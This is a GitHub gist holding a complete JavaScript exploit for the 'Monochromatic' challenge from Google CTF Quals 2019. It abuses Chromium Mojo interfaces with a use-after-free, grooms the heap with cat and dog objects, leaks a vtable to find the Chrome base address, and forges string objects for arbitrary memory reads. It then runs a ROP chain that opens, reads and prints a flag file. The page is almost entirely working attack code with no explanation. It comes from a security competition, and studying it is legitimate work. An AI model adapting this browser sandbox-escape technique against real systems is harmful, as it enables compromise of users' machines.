Created
June 24, 2019 00:03
-
-
Save ujin5/175cc07544a831c597e318a7eac57503 to your computer and use it in GitHub Desktop.
Google CTF Quals 2019 Monochromatic
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<pre id='log'></pre> | |
<script src="mojo_bindings.js"></script> | |
<script src="third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> | |
<script src="being_creator_interface.mojom.js"></script> | |
<script src="food_interface.mojom.js"></script> | |
<script src="dog_interface.mojom.js"></script> | |
<script src="person_interface.mojom.js"></script> | |
<script src="cat_interface.mojom.js"></script> | |
<script> | |
function print(string) { | |
console.log(string) | |
var log = document.getElementById('log'); | |
if (log) { | |
log.innerText += string + '\n'; | |
} | |
} | |
function sleep(ms) { | |
var unixtime_ms = new Date().getTime(); | |
while(new Date().getTime() < unixtime_ms + ms) {} | |
} | |
async function write(){ | |
const sleep = m => new Promise(r => setTimeout(r, m)); | |
let fengshui_result = []; | |
//await sleep(4000); | |
async function fengshui(){ | |
for(var i = 0; i<0x100 ; i++){ | |
fengshui_result[i] = await creator_ptr.createDog(); | |
await fengshui_result[i].dog.setName("A".repeat(0x3f)); | |
} | |
print("[+] fengshui "); | |
} | |
async function food0(){ | |
for(var i = 0; i < 0x1000; i++){ | |
cat_result[i] = await creator_ptr.createCat(); | |
await cat_result[i].cat.setName(String.fromCharCode(i)+"K".repeat(0x37)) | |
} | |
print("[+] Allocate Dogs"); | |
} | |
function c_encode(s) { | |
var res = []; | |
var k = s; | |
for (var i = 0; i < k.byteLength; ++i) { | |
var c = k[i] & 0xff; | |
res.push('\\x' + ('0'+c.toString(16)).slice(-2)); | |
} | |
return res.join(''); | |
} | |
let heap = []; | |
let index = -1; | |
async function food1(){ | |
print("[+] Get Cat Name") | |
for(var i = 0; i < 0x1000 && heap.length == 0; i++){ | |
var leak = (await cat_result[i].cat.getName()); | |
leak = leak.arr | |
for (var j = 0; j + 8 <= leak.byteLength; j += 8) { | |
if (leak[j+7] != 0x4b | |
&& leak[j+6] != 0x4b | |
&& leak[j+5] != 0x4b | |
&& leak[j+5] != 0x4b) | |
{ | |
value = 0; | |
for (var k = j+5; k >= j; --k) | |
value = value*0x100 + leak[k]; | |
heap.push(value); | |
} | |
} | |
index = i; | |
} | |
} | |
let cat_result = []; | |
let creator_ptr = new blink.mojom.BeingCreatorInterfacePtr(); | |
Mojo.bindInterface(blink.mojom.BeingCreatorInterface.name, | |
mojo.makeRequest(creator_ptr).handle); | |
function FoodImpl(){ | |
this.binding = new mojo.Binding(blink.mojom.FoodInterface, this); | |
} | |
FoodImpl.prototype = { | |
getWeight: async () =>{ | |
print("[+] GetWeight"); | |
//await fengshui(); | |
await dog_result.dog.ptr.reset(); | |
print("[!] Free CatInterfaceImpl"); | |
await sleep(200); | |
await food0(); | |
//food1(); | |
return {'weight':0x40}; | |
} | |
}; | |
let food_interface = new FoodImpl(); | |
let food_ptr = new blink.mojom.FoodInterfacePtr(); | |
food_interface.binding.bind(mojo.makeRequest(food_ptr)); | |
let dog_result = await creator_ptr.createDog(); | |
dog_result.dog.cookAndEat(food_ptr); | |
await sleep(3000); | |
await food1(); | |
await sleep(1000); | |
if( heap[2] == 0x38){ | |
//alert("???"); | |
function u2d(v) { | |
let lo = v&0xffffffff; | |
let hi = v/0x100000000; | |
u32[0] = lo; | |
u32[1] = hi; | |
return f64[0]; | |
} | |
let vtable = heap[0]; | |
let string_ptr = heap[1]; | |
let chromebase = vtable - 0x08FC1AE0; | |
print("[+] Sucecss!"); | |
print(`[+] Index : ${index}`); | |
print(`[+] vtable : ${vtable.toString(16)}`); | |
print(`[+] strint_ptr : ${string_ptr.toString(16)}`); | |
print(`[+] chromebase : ${chromebase.toString(16)}`); | |
let u32 = new Uint32Array(0x2); | |
let f64 = new Float64Array(u32.buffer); | |
let spread64 = new Float64Array(0x4); | |
let spread8 = new Uint8Array(spread64.buffer); | |
function arb(ptr){ | |
spread64[0] = u2d(vtable); | |
spread64[1] = u2d(ptr); | |
spread64[2] = u2d(0x40); | |
spread64[3] = u2d(0x8000000000000050); | |
let fake_object = String.fromCharCode(...spread8); | |
return fake_object | |
} | |
function call(ptr){ | |
spread64[0] = u2d(ptr); | |
spread64[1] = u2d(0x4141414141414141); | |
spread64[2] = u2d(0x40); | |
spread64[3] = u2d(0x8000000000000050); | |
let fake_object = String.fromCharCode(...spread8); | |
return fake_object | |
} | |
await cat_result[index].cat.setName(arb(chromebase)); | |
let target = 0; | |
for(var i = 0; i < 0x20; i++){ | |
if( i == index ) continue; | |
let find = (await cat_result[i].cat.getName()).name; | |
if( find.indexOf("ELF") != -1){ | |
target = i; | |
break; | |
} | |
} | |
print(`[+] target : ${target}`); | |
await cat_result[index].cat.setName(arb(chromebase+0x095285F0)); | |
let r = (await cat_result[target].cat.getName()).arr; | |
let printf = 0; | |
for(var i = 7; i >= 0; i--){ | |
printf = printf*0x100 + r[i]; | |
} | |
print(`[+] printf : ${printf.toString(16)}`); | |
let libc = printf-0x0055800; | |
let bss = chromebase+ 0x95bc000 | |
await cat_result[index].cat.setName(arb(bss+0x1000)); | |
r = (await cat_result[target].cat.setName("flag")); | |
// 0x00000000037c7323 : mov rdi, qword ptr [r14] ; call qword ptr [rdi + 8] | |
// 0x0000000003530614 : mov rsi, r14 ; call qword ptr [rdi + 8] | |
// 0x0000000002ac61dc : lea rsp, [rsi + 0x30] ; popfq ; ret | |
// 0x00000000040f288e : xchg rax, rsp ; ret | |
// 0x0000000002cfca65 : add rsp, 0x18 ; ret | |
let open = chromebase + 0x08F7BED0; | |
let write = chromebase + 0x08F77DB0; | |
let read = chromebase + 0x08F77CA0; | |
let pop_rdi_ret = chromebase + 0x000000000280105c // pop rdi ; ret | |
let pop_rsi_ret = chromebase + 0x000000000280ea85 // pop rsi ; ret | |
let pop_rdx_ret = chromebase + 0x00000000028568db // pop rdx ; ret | |
let mov_edi_eax_ret = chromebase + 0x00000000084f77d5 // mov edi, eax ; ret | |
let fake_table64 = new Float64Array([ | |
u2d(chromebase+0x0000000002cfca65), | |
u2d(0x41414141), | |
u2d(chromebase+0x00000000040f288e), | |
u2d(0xdeadbeef), | |
u2d(pop_rdi_ret), // <--- ROP Chain | |
u2d(bss + 0x1000), | |
u2d(pop_rsi_ret), | |
u2d(0x0), | |
u2d(open), | |
u2d(mov_edi_eax_ret), | |
u2d(pop_rsi_ret), | |
u2d(bss + 0x300), | |
u2d(pop_rdx_ret), | |
u2d(0x30), | |
u2d(read), | |
u2d(pop_rdi_ret), | |
u2d(0x1), | |
u2d(pop_rsi_ret), | |
u2d(bss + 0x300), | |
u2d(pop_rdx_ret), | |
u2d(0x100), | |
u2d(write) | |
]); | |
let fake_table8 = new Uint8Array(fake_table64.buffer) | |
let fake_table = String.fromCharCode(...fake_table8); | |
await cat_result[index].cat.setName(arb(bss)); | |
r = (await cat_result[target].cat.setName(fake_table)); | |
await cat_result[index].cat.setName(call(bss)); | |
(await cat_result[target].cat.getName()).arr; | |
print("[+] BOOOOM"); | |
} | |
else{ | |
print("[+] Fail"); | |
} | |
} | |
async function main(){ | |
//await fengshui(); | |
//await write(); | |
await write(); | |
} | |
main() | |
</script> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment